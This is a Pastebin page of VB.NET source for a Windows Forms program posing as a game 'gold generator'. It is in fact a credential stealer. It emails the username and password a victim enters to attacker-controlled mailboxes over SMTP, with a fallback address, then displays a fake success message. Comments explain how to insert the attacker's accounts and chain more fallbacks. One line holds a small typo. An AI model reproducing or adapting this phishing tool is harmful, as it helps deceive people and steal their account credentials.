daily pastebin goal
44%
SHARE
TWEET

d

a guest Sep 26th, 2016 68 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Imports System.Net.Mail
  2. Public Class Form1
  3. 'NOTE MAKE SURE YOU HAVE ALL THE OBJECTS IN YOUR FORM BEFORE COPY-PASTING
  4.    Dim thread As System.Threading.Thread
  5.     Dim smtp As New SmtpClient("smtp.mail.com")
  6.  
  7.     Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  8.         Me.CheckForIllegalCrossThreadCalls = False
  9.     End Sub
  10.  
  11.     Private Sub DoGenerate()
  12.         Try
  13.             Dim mail As New MailMessage
  14.             mail.From = New MailAddress("INSERT FIRST EMAIL ADD@mail.com")
  15.             mail.To.Add("INSERT FIRST EMAIL ADD@mail.com")
  16.             mail.Subject = "Updates"
  17.             mail.Body = "USERNAME: " + txtUsername.Text + vbNewLine + "PASSWORD: " + txtPassword.Text
  18.             smtp.Port = 587
  19.             smtp.EnableSsl = True
  20.             smtp.Credentials = New Net.NetworkCredential("INSERT FIRST EMAIL ADD@mail.com", "INSERT EMAIL PASSWORD")
  21.             smtp.Send(mail)
  22.             MessageBox.Show("Gold successfully generated!", Me.Text, MessageBoxButtons.OK, MessageBoxIcon.Information)
  23.         Catch exA As Exception
  24.             Try
  25.                 Dim mail As New MailMessage
  26.                 mail.From = New MailAddress("INSERT SECOND EMAIL ADD@mail.com")
  27.                 mail.To.Add("INSERT SECOND EMAIL ADD@mail.com")
  28.                 mail.Subject = "Updates"
  29.                 mail.Body = "USERNAME: " + txtUsername.Text + vbNewLine + "PASSWORD: " + txtPassword.Text
  30.                 smtp.Port = 587
  31.                 smtp.EnableSsl = True
  32.                 smtp.Credentials = New Net.NetworkCredential("INSERT SECOND EMAIL ADD@mail.com", "INSERT EMAIL PASSWORD")
  33.                 smtp.Send(mail)
  34.                 MessageBox.Show("Gold successfully generated!", Me.Text, MessageBoxButtons.OK, MessageBoxIcon.Information)
  35.             Catch exB As Exception
  36.                 MessageBox.Show("error. please wait for an hour before trying again.")'THIS WILL BE YOUR ERROR MESSAGE, HOWEVER IF YOU WANT TO ADD MORE ACCOUNTS, REPLACE (NESTING, IN PROGRAMMING TERMS) THIS LINE WITH ANOTHER TRY-CATCH BLOCK AND PLACE THE ERROR MESSAGE IN THE LAST CATCH)
  37.            End Try
  38.         End Try
  39.         NormalState()
  40.     End Sub
  41.  
  42.     Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
  43.         thread = New System.Threading.Thread(AddressOf DoGenerate)
  44.         thread.Start()
  45.  
  46.         txtUsername.Enabled = Falsed
  47.         txtPassword.Enabled = False
  48.         TextBox1.Enabled = False
  49.         Button1.Enabled = False
  50.         Label4.Visible = True
  51.     End Sub
  52.  
  53.     Private Sub NormalState()
  54.         txtUsername.Enabled = True
  55.         txtPassword.Enabled = True
  56.         TextBox1.Enabled = True
  57.         Button1.Enabled = True
  58.         Label4.Visible = False
  59.     End Sub
  60. End Class
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top